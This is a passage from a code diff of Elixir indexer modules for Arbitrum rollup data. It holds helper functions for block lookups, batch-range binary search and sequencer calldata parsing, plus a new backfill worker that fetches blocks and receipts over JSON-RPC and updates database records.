`eth_getBlockByHash` method, with retry logic for handling request failures. + + ## Parameters + - `hash`: The hash of the block for which the block number is requested. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - The block number if the block is found and successfully retrieved, or `nil` + if the block cannot be fetched or the block number is not present in the response. + """ + @spec get_block_number_by_hash(EthereumJSONRPC.hash(), EthereumJSONRPC.json_rpc_named_arguments()) :: + EthereumJSONRPC.block_number() | nil + def get_block_number_by_hash(hash, json_rpc_named_arguments) do + func = &do_get_block_number_by_hash/2 + args = [hash, json_rpc_named_arguments] + error_message = &"Cannot fetch block #{hash} or its number. Error: #{inspect(&1)}" + + case IndexerHelper.repeated_call(func, args, error_message, @rpc_resend_attempts) do + {:error, _} -> nil + {:ok, res} -> res + end + end + + defp do_get_block_number_by_hash(hash, json_rpc_named_arguments) do + # credo:disable-for-lines:3 Credo.Check.Refactor.PipeChainStart + result = + EthereumJSONRPC.request(%{id: 0, method: "eth_getBlockByHash", params: [hash, false]}) + |> json_rpc(json_rpc_named_arguments) + + with {:ok, block} <- result, + false <- is_nil(block), + number <- Map.get(block, "number"), + false <- is_nil(number) do + {:ok, quantity_to_integer(number)} + else + {:error, message} -> + {:error, message} + + true -> + {:error, "RPC returned nil."} + end + end + + @doc """ + Determines the starting block number for further operations with L1 based on configuration and network status. + + This function selects the starting block number for operations involving L1. + If the configured block number is `0`, it attempts to retrieve the safe block number + from the network. Should the safe block number not be available (if the endpoint does + not support this feature), the latest block number is used instead. If a non-zero block + number is configured, that number is used directly. + + ## Parameters + - `configured_number`: The block number configured for starting operations. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - The block number from which to start further operations with L1, determined based + on the provided configuration and network capabilities. + """ + @spec get_l1_start_block(EthereumJSONRPC.block_number(), EthereumJSONRPC.json_rpc_named_arguments()) :: + EthereumJSONRPC.block_number() + def get_l1_start_block(configured_number, json_rpc_named_arguments) do + if configured_number == 0 do + {block_number, _} = IndexerHelper.get_safe_block(json_rpc_named_arguments) + block_number + else + configured_number + end + end + + @doc """ + Retrieves the safe and latest L1 block numbers. + + This function fetches the latest block number from the chain and tries to determine + the safe block number. If the RPC node does not support the safe block feature or + if the safe block is too far behind the latest block, the safe block is determined + based on the finalization threshold. In both cases, it steps back from the latest + block to mark some blocks as unfinalized. + + ## Parameters + - `json_rpc_named_arguments`: The named arguments for the JSON RPC call. + - `hard_limit`: The maximum number of blocks to step back when determining the safe block. + + ## Returns + - A tuple containing the safe block number and the latest block number. + """ + @spec get_safe_and_latest_l1_blocks(EthereumJSONRPC.json_rpc_named_arguments(), non_neg_integer()) :: + {EthereumJSONRPC.block_number(), EthereumJSONRPC.block_number()} + def get_safe_and_latest_l1_blocks(json_rpc_named_arguments, hard_limit) do + finalization_threshold = Application.get_all_env(:indexer)[Indexer.Fetcher.Arbitrum][:l1_finalization_threshold] + + {safe_chain_block, is_latest?} = IndexerHelper.get_safe_block(json_rpc_named_arguments) + + latest_chain_block = + case is_latest? do + true -> + safe_chain_block + + false -> + {:ok, latest_block} = + IndexerHelper.get_block_number_by_tag("latest", json_rpc_named_arguments, get_resend_attempts()) + + latest_block + end + + safe_block = + if safe_chain_block < latest_chain_block + 1 - finalization_threshold or is_latest? do + # The first condition handles the case when the safe block is too far behind + # the latest block (L3 case). + # The second condition handles the case when the L1 RPC node does not support + # the safe block feature (non standard Arbitrum deployments). + # In both cases, it is necessary to step back a bit from the latest block to + # suspect these blocks as unfinalized. + latest_chain_block + 1 - min(finalization_threshold, hard_limit) + else + safe_chain_block + end + + {safe_block, latest_chain_block} + end + + @doc """ + Identifies the block range for a batch by using the block number located on one end of the range. + + The function verifies suspicious block numbers by using the + `findBatchContainingBlock` method of the Node Interface contract in a binary + search. + + The sign of the step determines the direction of the search: + - A positive step indicates the search is for the lowest block in the range. + - A negative step indicates the search is for the highest block in the range. + + ## Parameters + - `initial_block`: The starting block number for the search. + - `initial_step`: The initial step size for the binary search. + - `required_batch_number`: The target batch for which the blocks range is + discovered. + - `rollup_config`: A map containing the `NodeInterface` contract address and + configuration parameters for the JSON RPC connection. + + ## Returns + - A tuple `{start_block, end_block}` representing the range of blocks included + in the specified batch. + """ + @spec get_block_range_for_batch( + EthereumJSONRPC.block_number(), + integer(), + non_neg_integer(), + %{ + node_interface_address: EthereumJSONRPC.address(), + json_rpc_named_arguments: EthereumJSONRPC.json_rpc_named_arguments() + } + ) :: {non_neg_integer(), non_neg_integer()} + def get_block_range_for_batch( + initial_block, + initial_step, + required_batch_number, + rollup_config + ) do + opposite_block = + do_binary_search_of_opposite_block( + max(1, initial_block - initial_step), + initial_step, + required_batch_number, + rollup_config, + required_batch_number, + initial_block, + %{} + ) + + # the default direction for the block range exploration is chosen to be from the highest to lowest + # and the initial step is positive in this case + if initial_step > 0 do + {opposite_block, initial_block} + else + {initial_block, opposite_block} + end + end + + # Performs a binary search to find the opposite block for a rollup blocks + # range included in a batch with the specified number. The function calls + # `findBatchContainingBlock` of the Node Interface contract to determine the + # batch number of the inspected block and, based on the call result and the + # previously inspected block, decides whether the opposite block is found or + # another iteration is required. In order to avoid redundant RPC calls, the + # function uses a cache to store the batch numbers. + # + # Assumptions: + # - The initial step is low enough to not jump more than one batch in a single + # iteration. + # - The function can discover the opposite block in any direction depending on + # the sign of the step. If the step is positive, the lookup happens for the + # lowest block in the range. If the step is negative, the lookup is for the + # highest block in the range. + # + # Parameters: + # - `inspected_block`: The block number currently being inspected. + # - `step`: The step size used for the binary search. + # - `required_batch_number`: The target batch for which blocks range is + # discovered. + # - `rollup_config`: A map containing the `NodeInterface` contract address and + # configuration parameters for the JSON RPC connection. + # - `prev_batch_number`: The number of the batch where the block was inspected + # on the previous iteration. + # - `prev_inspected_block`: The block number that was previously inspected. + # - `cache`: A map that stores the batch numbers for rollup blocks to avoid + # redundant RPC calls. + # - `iteration_threshold`: The maximum number of iterations allowed for the + # binary search to avoid infinite loops. + # + # Returns: + # - The block number of the opposite block in the rollup or raises an error if + # the iteration threshold is exceeded. + @spec do_binary_search_of_opposite_block( + non_neg_integer(), + integer(), + non_neg_integer(), + %{ + node_interface_address: EthereumJSONRPC.address(), + json_rpc_named_arguments: EthereumJSONRPC.json_rpc_named_arguments() + }, + non_neg_integer(), + non_neg_integer(), + %{non_neg_integer() => non_neg_integer()} + ) :: non_neg_integer() + @spec do_binary_search_of_opposite_block( + non_neg_integer(), + integer(), + non_neg_integer(), + %{ + node_interface_address: EthereumJSONRPC.address(), + json_rpc_named_arguments: EthereumJSONRPC.json_rpc_named_arguments() + }, + non_neg_integer(), + non_neg_integer(), + %{non_neg_integer() => non_neg_integer()}, + non_neg_integer() + ) :: non_neg_integer() + defp do_binary_search_of_opposite_block( + inspected_block, + step, + required_batch_number, + %{node_interface_address: _, json_rpc_named_arguments: _} = rollup_config, + prev_batch_number, + prev_inspected_block, + cache, + iteration_threshold \\ @default_binary_search_threshold + ) do + if iteration_threshold == 0 do + raise "Binary search iteration threshold exceeded" + end + + {new_batch_number, new_cache} = + get_batch_number_for_rollup_block( + rollup_config.node_interface_address, + inspected_block, + rollup_config.json_rpc_named_arguments, + cache + ) + + is_batch_repeated? = new_batch_number == prev_batch_number + + is_min_step_required_batch? = + abs(prev_inspected_block - inspected_block) == 1 and new_batch_number == required_batch_number + + new_step = + cond do + # The batch number is the same as the previous one, so there is no need to reduce step and + # the next iteration should continue in the same direction. + is_batch_repeated? -> + step + + # For the next two cases the batch number differs from one found in the previous iteration, + # so it is necessary to cut the step in half and change the direction of the search if the + # the next iteration assumed to move away from the required batch number. + step > 0 -> + adjust_step(step, new_batch_number <= required_batch_number) + + step < 0 -> + adjust_step(step, new_batch_number >= required_batch_number) + end + + if is_min_step_required_batch? and not is_batch_repeated? do + # The current step is the smallest possible, the inspected block in the required batch but + # the batch number is different from one found in the previous iteration. This means that + # the previous block was in the neighboring batch and the current block is in the boundary + # of the required batch. + + inspected_block + else + # Whether the required batch number is not reached yet, or there is uncertainty if the + # inspected block is in the boundary of the required batch: the current batch is the same + # as one found in the previous iteration or the step is not the smallest possible. + + # it is OK to use the earliest block 0 as since the corresponding batch (0) + # will be returned by get_batch_number_for_rollup_block. + next_block_to_inspect = max(0, inspected_block - new_step) + + do_binary_search_of_opposite_block( + next_block_to_inspect, + new_step, + required_batch_number, + rollup_config, + new_batch_number, + inspected_block, + new_cache, + iteration_threshold - 1 + ) + end + end + + # Adjusts the step size for the binary search based on the current step size and + # the need to change the direction of the search. + @spec adjust_step(integer(), boolean()) :: integer() + defp adjust_step(step, change_direction?) do + case {abs(step), change_direction?} do + {1, true} -> -step + {1, false} -> step + {_, true} -> -div(step, 2) + {_, false} -> div(step, 2) + end + end + + # Retrieves the batch number for a given rollup block by interacting with the + # Node Interface contract. + # + # This function calls the `findBatchContainingBlock` method of the Node Interface + # contract to find the batch containing the specified block number. In order to + # avoid redundant RPC calls, the function uses a cache to store the batch numbers. + # + # Parameters: + # - `node_interface_address`: The address of the node interface contract. + # - `block_number`: The rollup block number. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC + # connection. + # - `cache`: A map that stores the batch numbers for rollup blocks to avoid + # redundant RPC calls. + # + # Returns: + # `{batch_number, new_cache}`, where + # - `batch_number` - The number of a batch containing the specified rollup block. + # - `new_cache` - The updated cache with the new batch number. + @spec get_batch_number_for_rollup_block( + EthereumJSONRPC.address(), + EthereumJSONRPC.block_number(), + EthereumJSONRPC.json_rpc_named_arguments(), + %{non_neg_integer() => non_neg_integer()} + ) :: {non_neg_integer(), %{non_neg_integer() => non_neg_integer()}} + defp get_batch_number_for_rollup_block(node_interface_address, block_number, json_rpc_named_arguments, cache) + + defp get_batch_number_for_rollup_block(_, block_number, _, cache) when is_map_key(cache, block_number) do + {Map.get(cache, block_number), cache} + end + + defp get_batch_number_for_rollup_block(node_interface_address, block_number, json_rpc_named_arguments, cache) do + batch_number = + read_contract_and_handle_result_as_integer( + node_interface_address, + ArbitrumContracts.find_batch_containing_block_selector(), + [block_number], + ArbitrumContracts.node_interface_contract_abi(), + json_rpc_named_arguments + ) + + {batch_number, Map.put(cache, block_number, batch_number)} + end + + # Calls one contract method and processes the result as an integer. + @spec read_contract_and_handle_result_as_integer( + EthereumJSONRPC.address(), + binary(), + [term()], + [map()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: non_neg_integer() | boolean() + defp read_contract_and_handle_result_as_integer( + contract_address, + method_selector, + args, + abi, + json_rpc_named_arguments + ) do + [ + %{ + contract_address: contract_address, + method_id: method_selector, + args: args + } + ] + |> IndexerHelper.read_contracts_with_retries(abi, json_rpc_named_arguments, @rpc_resend_attempts) + # Extracts the list of responses from the tuple returned by read_contracts_with_retries. + |> Kernel.elem(0) + # Retrieves the first response from the list of responses. The responses are in a list + # because read_contracts_with_retries accepts a list of method calls. + |> List.first() + # Extracts the result from the {status, result} tuple which is composed in EthereumJSONRPC.Encoder.decode_result. + |> Kernel.elem(1) + # Extracts the first decoded value from the result, which is a list, even if it contains only one value. + |> List.first() + end + + @doc """ + Converts a transaction hash from its hexadecimal string representation to a binary format. + + ## Parameters + - `hash`: The transaction hash as a hex string, which can be `nil`. If `nil`, a default zero hash value is used. + + ## Returns + - The binary representation of the hash. If the input is `nil`, returns the binary form of the default zero hash. + """ + @spec string_hash_to_bytes_hash(EthereumJSONRPC.hash() | nil) :: binary() + def string_hash_to_bytes_hash(hash) do + hash + |> json_transaction_id_to_hash() + |> Base.decode16!(case: :mixed) + end + + defp json_transaction_id_to_hash(hash) do + case hash do + "0x" <> transaction_hash -> transaction_hash + nil -> @zero_hash + end + end + + @doc """ + Retrieves the hardcoded number of resend attempts for RPC calls. + + ## Returns + - The number of resend attempts. + """ + @spec get_resend_attempts() :: non_neg_integer() + def get_resend_attempts do + @rpc_resend_attempts + end + + @doc """ + Parses the calldata of various Arbitrum Sequencer batch submission functions to extract batch information. + + Handles calldata for the following functions: + - addSequencerL2BatchFromOrigin + - addSequencerL2BatchFromBlobs + - addSequencerL2BatchFromBlobsDelayProof + - addSequencerL2BatchFromOriginDelayProof + - addSequencerL2BatchDelayProof + + ## Parameters + - `calldata`: The raw calldata from the transaction as a binary string starting with "0x" + followed by the function selector and encoded parameters + + ## Returns + A tuple containing: + - `sequence_number`: The batch sequence number + - `prev_message_count`: The previous L2-to-L1 message count (nil for some functions) + - `new_message_count`: The new L2-to-L1 message count (nil for some functions) + - `data`: The batch data as binary (nil for blob-based submissions) + """ + @spec parse_calldata_of_add_sequencer_l2_batch(binary()) :: + {non_neg_integer(), non_neg_integer() | nil, non_neg_integer() | nil, binary() | nil} + def parse_calldata_of_add_sequencer_l2_batch(calldata) do + case calldata do + "0x8f111f3c" <> encoded_params -> + # addSequencerL2BatchFromOrigin(uint256 sequenceNumber, bytes calldata data, uint256 afterDelayedMessagesRead, address gasRefunder, uint256 prevMessageCount, uint256 newMessageCount) + [sequence_number, data, _after_delayed_messages_read, _gas_refunder, prev_message_count, new_message_count] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + ArbitrumContracts.add_sequencer_l2_batch_from_origin_8f111f3c_selector_with_abi() + ) + + {sequence_number, prev_message_count, new_message_count, data} + + "0x37501551" <> encoded_params -> + # addSequencerL2BatchFromOrigin(uint256 sequenceNumber, bytes calldata data, uint256 afterDelayedMessagesRead, address gasRefunder, uint256 prevMessageCount, uint256 newMessageCount, bytes quote) + # https://github.com/EspressoSystems/nitro-contracts/blob/a61b9dbd71ca443f8e7a007851071f5f1d219c19/src/bridge/SequencerInbox.sol#L364-L372 + [ + sequence_number, + data, + _after_delayed_messages_read, + _gas_refunder, + prev_message_count, + new_message_count, + _quote + ] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + ArbitrumContracts.add_sequencer_l2_batch_from_origin_37501551_selector_with_abi() + ) + + {sequence_number, prev_message_count, new_message_count, data} + + "0x3e5aa082" <> encoded_params -> + # addSequencerL2BatchFromBlobs(uint256 sequenceNumber, uint256 afterDelayedMessagesRead, address gasRefunder, uint256 prevMessageCount, uint256 newMessageCount) + [sequence_number, _after_delayed_messages_read, _gas_refunder, prev_message_count, new_message_count] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + ArbitrumContracts.add_sequencer_l2_batch_from_blobs_selector_with_abi() + ) + + {sequence_number, prev_message_count, new_message_count, nil} + + "0x6f12b0c9" <> encoded_params -> + # addSequencerL2BatchFromOrigin(uint256 sequenceNumber, bytes calldata data, uint256 afterDelayedMessagesRead, address gasRefunder) + [sequence_number, data, _after_delayed_messages_read, _gas_refunder] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + ArbitrumContracts.add_sequencer_l2_batch_from_origin_6f12b0c9_selector_with_abi() + ) + + {sequence_number, nil, nil, data} + + "0x917cf8ac" <> encoded_params -> + # addSequencerL2BatchFromBlobsDelayProof(uint256 sequenceNumber, uint256 afterDelayedMessagesRead, address gasRefunder, uint256 prevMessageCount, uint256 newMessageCount, DelayProof calldata delayProof) + [ + sequence_number, + _after_delayed_messages_read, + _gas_refunder, + prev_message_count, + new_message_count, + _delay_proof + ] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + ArbitrumContracts.add_sequencer_l2_batch_from_blobs_delay_proof_selector_with_abi() + ) + + {sequence_number, prev_message_count, new_message_count, nil} + + "0x69cacded" <> encoded_params -> + # addSequencerL2BatchFromOriginDelayProof(uint256 sequenceNumber, bytes calldata data, uint256 afterDelayedMessagesRead, address gasRefunder, uint256 prevMessageCount, uint256 newMessageCount, DelayProof calldata delayProof) + [ + sequence_number, + data, + _after_delayed_messages_read, + _gas_refunder, + prev_message_count, + new_message_count, + _delay_proof + ] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + ArbitrumContracts.add_sequencer_l2_batch_from_origin_delay_proof_selector_with_abi() + ) + + {sequence_number, prev_message_count, new_message_count, data} + + "0x6e620055" <> encoded_params -> + # addSequencerL2BatchDelayProof(uint256 sequenceNumber, bytes calldata data, uint256 afterDelayedMessagesRead, address gasRefunder, uint256 prevMessageCount, uint256 newMessageCount, DelayProof calldata delayProof) + [ + sequence_number, + data, + _after_delayed_messages_read, + _gas_refunder, + prev_message_count, + new_message_count, + _delay_proof + ] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + ArbitrumContracts.add_sequencer_l2_batch_delay_proof_selector_with_abi() + ) + + {sequence_number, prev_message_count, new_message_count, data} + end + end + + @doc """ + Extracts batch numbers from `SequencerBatchDelivered` event logs. + + Note: This function assumes that all provided logs are SequencerBatchDelivered + events. Logs from other events should be filtered out before calling this + function. + + ## Parameters + - `logs`: A list of event logs, where each log is a map containing event data + from the `SequencerBatchDelivered` event. + + ## Returns + - A list of non-negative integers representing batch numbers. + """ + @spec extract_batch_numbers_from_logs([%{String.t() => any()}]) :: [non_neg_integer()] + def extract_batch_numbers_from_logs(logs) do + logs + |> Enum.map(fn event -> + {batch_num, _, _} = parse_sequencer_batch_delivered_event(event) + batch_num + end) + end + + # Parses SequencerBatchDelivered event to get batch sequence number and associated accumulators + @doc """ + Extracts key information from a `SequencerBatchDelivered` event log. + + The event topics array contains the indexed parameters of the event: + - topic[0]: Event signature (not used) + - topic[1]: Batch number (indexed parameter) + - topic[2]: Before accumulator value (indexed parameter) + - topic[3]: After accumulator value (indexed parameter) + + Note: This function does not verify if the event is actually a + `SequencerBatchDelivered` event. + + ## Parameters + - `event`: A map containing event data with `topics` field. + + ## Returns + - A tuple containing: + - The batch number as an integer + - The before accumulator value as a binary + - The after accumulator value as a binary + """ + @spec parse_sequencer_batch_delivered_event(%{String.t() => any()}) :: {non_neg_integer(), binary(), binary()} + def parse_sequencer_batch_delivered_event(event) do + [_, batch_sequence_number, before_acc, after_acc] = event["topics"] + + {quantity_to_integer(batch_sequence_number), before_acc, after_acc} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/backfill.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/backfill.ex new file mode 100644 index 000000000000..7978619d3241 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/backfill.ex @@ -0,0 +1,441 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Backfill do + @moduledoc """ + Handles backfilling of missing Arbitrum-specific data for indexed blocks and their + transactions. + + This module discovers blocks that are missing Arbitrum L2-specific information and + fetches this data from the Arbitrum RPC endpoint. It processes blocks in configurable + chunks and updates the following fields: + + For blocks: `send_count`, `send_root` and `l1_block_number` + + For transactions: `gas_used_for_l1` + + The module operates within a specified block range and ensures all blocks are properly + indexed before attempting to backfill the missing Arbitrum-specific information. All + database updates are performed in a single transaction to maintain data consistency. + + ## Receipt Collection Strategy + + When fetching transaction receipts, the module first attempts to collect receipts for + multiple blocks in batches using `eth_getBlockReceipts`. If this fails, it falls back + to fetching individual transaction receipts using `eth_getTransactionReceipt`. + """ + + import Ecto.Query + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_warning: 1, log_debug: 1, log_info: 1] + + alias EthereumJSONRPC.{Blocks, Receipts} + alias Explorer.Chain.Block, as: RollupBlock + alias Explorer.Chain.Hash + alias Explorer.Chain.Transaction, as: RollupTransaction + alias Explorer.Repo + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Common, as: ArbitrumDbUtils + + alias Ecto.Multi + + require Logger + + @doc """ + Discovers and backfills missing Arbitrum-specific fields for blocks and their + transactions within a calculated range. + + Calculates a block range based on the end block and verifies that all blocks + in this range are indexed before attempting to discover and backfill missing fields. + + ## Parameters + - `end_block`: The upper bound block number for the discovery range + - `state`: Configuration map containing: + - `:config`: Configuration settings with: + - `:rollup_rpc`: Rollup RPC settings with: + - `:first_block`: The block number which is considered as the first block + of the rollup + - `:backfill_blocks_depth`: Number of blocks to look back from `end_block` + + ## Returns + - `{:ok, start_block}` if backfill completed successfully, where `start_block` is the + lower bound of the processed range + - `{:error, :discover_blocks_error}` if backfill failed + - `{:error, :not_indexed_blocks}` if some blocks in the range are not indexed + """ + @spec discover_blocks( + non_neg_integer(), + %{ + :config => %{ + :rollup_rpc => %{ + :first_block => non_neg_integer(), + optional(atom()) => any() + }, + :backfill_blocks_depth => non_neg_integer(), + optional(atom()) => any() + } + } + ) :: {:ok, non_neg_integer()} | {:error, atom()} + def discover_blocks(end_block, state) do + # and then to backfill only by chunk size, larger buckets are more + # efficient in cases where most blocks in the chain do not require + # backfilling. + start_block = max(state.config.rollup_rpc.first_block, end_block - state.config.backfill_blocks_depth + 1) + + if ArbitrumDbUtils.indexed_blocks?(start_block, end_block) do + case do_discover_blocks(start_block, end_block, state) do + :ok -> {:ok, start_block} + :error -> {:error, :discover_blocks_error} + end + else + log_warning( + "Not able to discover rollup blocks to backfill, some blocks in #{start_block}..#{end_block} not indexed" + ) + + {:error, :not_indexed_blocks} + end + end + + # Discovers and backfills missing Arbitrum-specific fields for blocks within a given range. + # + # Identifies blocks with missing Arbitrum fields within the specified range and initiates + # the backfill process for those blocks requesting the data by JSON RPC. + # + # ## Parameters + # - `start_block`: The first block number in the range to check + # - `end_block`: The last block number in the range to check + # - `state`: Configuration map containing: + # - `:config`: RPC configuration with: + # - `:rollup_rpc`: Rollup RPC settings with: + # - `:chunk_size`: Maximum number of blocks per RPC request + # - `:json_rpc_named_arguments`: RPC connection configuration + # + # ## Returns + # - `:ok` if backfill completed successfully + # - `:error` if backfill failed on any stage + @spec do_discover_blocks( + start_block :: non_neg_integer(), + end_block :: non_neg_integer(), + %{ + :config => %{ + :rollup_rpc => %{ + :chunk_size => non_neg_integer(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(atom()) => any() + }, + optional(atom()) => any() + }, + optional(atom()) => any() + } + ) :: :ok | :error + defp do_discover_blocks(start_block, end_block, %{ + config: %{rollup_rpc: %{chunk_size: chunk_size, json_rpc_named_arguments: json_rpc_named_arguments}} + }) do + log_info("Block range for blocks information backfill: #{start_block}..#{end_block}") + + block_numbers = ArbitrumDbUtils.blocks_with_missing_fields(start_block, end_block) + + log_debug("Backfilling #{length(block_numbers)} blocks") + + backfill_for_blocks(block_numbers, json_rpc_named_arguments, chunk_size) + end + + # Retrieves block data and transaction receipts for a list of block numbers and + # updates the database. + # + # Fetches blocks and their transaction receipts in chunks, then updates the database + # with the retrieved information. Returns early if any fetch operation fails. + # + # ## Parameters + # - `block_numbers`: List of block numbers to backfill + # - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + # - `chunk_size`: Maximum number of blocks to fetch in a single request + # + # ## Returns + # - `:ok` - Successfully fetched and updated all blocks + # - `:error` - Failed to fetch or update blocks + @spec backfill_for_blocks( + [non_neg_integer()], + EthereumJSONRPC.json_rpc_named_arguments(), + non_neg_integer() + ) :: :ok | :error + defp backfill_for_blocks(block_numbers, json_rpc_named_arguments, chunk_size) do + with {:ok, blocks} <- fetch_blocks(block_numbers, json_rpc_named_arguments, chunk_size), + {:ok, receipts} <- + fetch_receipts_with_fallback(block_numbers, json_rpc_named_arguments, chunk_size, chunk_size) do + update_db(blocks, receipts) + else + {:error, _} -> :error + end + end + + # Makes JSON RPC requests in chunks to retrieve block data for a list of block + # numbers. + # + # ## Parameters + # - `block_numbers`: List of block numbers to fetch + # - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + # - `chunk_size`: Maximum number of blocks to fetch in a single request + # + # ## Returns + # - `{:ok, [map()]}`: List of block parameters on successful fetch + # - `{:error, any()}`: Error details if fetch fails + @spec fetch_blocks( + block_numbers :: [non_neg_integer()], + json_rpc_named_arguments :: EthereumJSONRPC.json_rpc_named_arguments(), + chunk_size :: non_neg_integer() + ) :: {:ok, [map()]} | {:error, any()} + defp fetch_blocks(block_numbers, json_rpc_named_arguments, chunk_size) do + block_numbers + |> Enum.chunk_every(chunk_size) + |> Enum.reduce_while({:ok, []}, fn chunk, {:ok, acc} -> + case EthereumJSONRPC.fetch_blocks_by_numbers(chunk, json_rpc_named_arguments, false) do + {:ok, %Blocks{blocks_params: blocks}} -> {:cont, {:ok, acc ++ blocks}} + {:error, reason} -> {:halt, {:error, reason}} + end + end) + end + + # Recursively fetches transaction receipts with fallback mechanisms for large blocks. + # + # This function implements a fallback strategy for fetching transaction receipts: + # 1. First attempts to fetch receipts for blocks in chunks using eth_getBlockReceipts + # 2. If a chunk fails, retries with half the chunk size + # 3. For single blocks that fail, falls back to fetching individual transaction receipts + # + # ## Parameters + # - `block_numbers`: List of block numbers to fetch receipts for + # - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + # - `current_chunk_size`: Current maximum number of blocks to fetch in a single request + # - `original_chunk_size`: Original chunk size from fetch_blocks (used for transaction batching) + # + # ## Returns + # - `{:ok, receipts}` with list of successfully fetched receipts + # - `{:error, reason}` if fetching fails even with fallback mechanisms + @spec fetch_receipts_with_fallback( + [non_neg_integer()], + EthereumJSONRPC.json_rpc_named_arguments(), + non_neg_integer(), + non_neg_integer() + ) :: {:ok, [map()]} | {:error, any()} + defp fetch_receipts_with_fallback([], _json_rpc_named_arguments, _current_chunk_size, _original_chunk_size), + do: {:ok, []} + + defp fetch_receipts_with_fallback([block_number], json_rpc_named_arguments, _current_chunk_size, original_chunk_size) do + # For a single block, try eth_getBlockReceipts first + case Receipts.fetch_by_block_numbers([block_number], json_rpc_named_arguments) do + {:ok, %{receipts: receipts}} -> + {:ok, receipts} + + {:error, _} -> + # If that fails, try fetching individual transaction receipts + fetch_individual_receipts(block_number, json_rpc_named_arguments, original_chunk_size) + end + end + + defp fetch_receipts_with_fallback(block_numbers, json_rpc_named_arguments, current_chunk_size, original_chunk_size) do + block_numbers + |> Enum.chunk_every(current_chunk_size) + |> Enum.reduce_while({:ok, []}, fn chunk, {:ok, acc} -> + case Receipts.fetch_by_block_numbers(chunk, json_rpc_named_arguments) do + {:ok, %{receipts: receipts}} -> + {:cont, {:ok, acc ++ receipts}} + + {:error, reason} -> + log_warning( + "Block receipts request failed for blocks #{Enum.min(chunk)}..#{Enum.max(chunk)}, retrying with smaller chunks" + ) + + # If chunk fails, try again with half the actual chunk size + next_chunk_size = div(min(current_chunk_size, length(chunk)), 2) + + # credo:disable-for-lines:4 Credo.Check.Refactor.Nesting + case fetch_receipts_with_fallback(chunk, json_rpc_named_arguments, next_chunk_size, original_chunk_size) do + {:ok, chunk_receipts} -> {:cont, {:ok, acc ++ chunk_receipts}} + {:error, chunk_reason} -> {:halt, {:error, {:chunk_failed, chunk_reason, reason}}} + end + end + end) + end + + # Fetches transaction receipts individually for a single block using eth_getTransactionReceipt. + # + # This function is used as a fallback when eth_getBlockReceipts fails for a block. It: + # 1. Retrieves the block with its transactions from the database + # 2. Extracts transaction hashes from the block + # 3. Splits transactions into chunks based on the chunk size + # 4. Fetches receipts for each chunk of transactions using eth_getTransactionReceipt + # + # ## Parameters + # - `block_number`: The number of the block to fetch receipts for + # - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + # - `chunk_size`: Maximum number of transactions to fetch receipts for in a single batch + # + # ## Returns + # - `{:ok, receipts}` with list of successfully fetched receipts + # - `{:error, reason}` if fetching any receipt fails + @spec fetch_individual_receipts( + non_neg_integer(), + EthereumJSONRPC.json_rpc_named_arguments(), + non_neg_integer() + ) :: {:ok, [map()]} | {:error, any()} + defp fetch_individual_receipts(block_number, json_rpc_named_arguments, chunk_size) do + log_warning("Falling back to individual receipt fetching for block #{block_number}") + + with [block] <- ArbitrumDbUtils.rollup_blocks([block_number]), + transaction_params when is_list(transaction_params) <- + Enum.map(block.transactions, fn tx -> + %{ + # defining the gas is required for the receipt to be fetched + # but actually not used + gas: tx.gas, + hash: Hash.to_string(tx.hash) + } + end) do + transaction_params + |> Enum.chunk_every(chunk_size) + |> Enum.reduce_while({:ok, []}, fn chunk, {:ok, acc} -> + case Receipts.fetch(chunk, json_rpc_named_arguments) do + {:ok, %{receipts: receipts}} -> {:cont, {:ok, acc ++ receipts}} + {:error, reason} -> {:halt, {:error, reason}} + end + end) + else + # It is assumed that this branch is unreachable, as there is a check for + # `indexed_blocks?` above in the stack + [] -> {:error, :block_not_found} + end + end + + # Updates `Explorer.Chain.Block` and `Explorer.Chain.Transaction` records in the + # database with Arbitrum-specific data. + # + # Processes lists of blocks and transaction receipts, updating their respective + # database records with Arbitrum L2-specific information in a single transaction. + # + # ## Parameters + # - `blocks`: List of maps containing Arbitrum block data with `hash`, + # `send_count`, `send_root`, and `l1_block_number` + # - `receipts`: List of maps containing transaction data with `transaction_hash` + # and `gas_used_for_l1` + # + # ## Returns + # - `:ok` when the database transaction succeeds + # - `:error` when the database transaction fails + @spec update_db( + [ + %{ + :hash => EthereumJSONRPC.hash(), + :send_count => non_neg_integer(), + :send_root => EthereumJSONRPC.hash(), + :l1_block_number => non_neg_integer(), + optional(atom()) => any() + } + ], + [ + %{ + :transaction_hash => EthereumJSONRPC.hash(), + :gas_used_for_l1 => non_neg_integer(), + optional(atom()) => any() + } + ] + ) :: :ok | :error + defp update_db(blocks, receipts) + + defp update_db([], []), do: :ok + + defp update_db(blocks, receipts) do + log_info("Updating DB records for #{length(blocks)} blocks and #{length(receipts)} transactions") + + multi = + Multi.new() + |> update_blocks(blocks) + |> update_transactions(receipts) + + case Repo.transaction(multi) do + {:ok, _} -> :ok + {:error, _} -> :error + {:error, _, _, _} -> :error + end + end + + # Groups updates of the DB for the `Explorer.Chain.Block` table. + # + # Takes a list of blocks and adds update operations to the `Ecto.Multi` struct + # for updating `send_count`, `send_root`, `l1_block_number` values in + # `Explorer.Chain.Block`. The actual database updates are performed later when + # the `Ecto.Multi` is executed in a single DB transaction. + # + # ## Parameters + # - `multi`: The `Ecto.Multi` struct to accumulate the update operations + # - `blocks`: List of 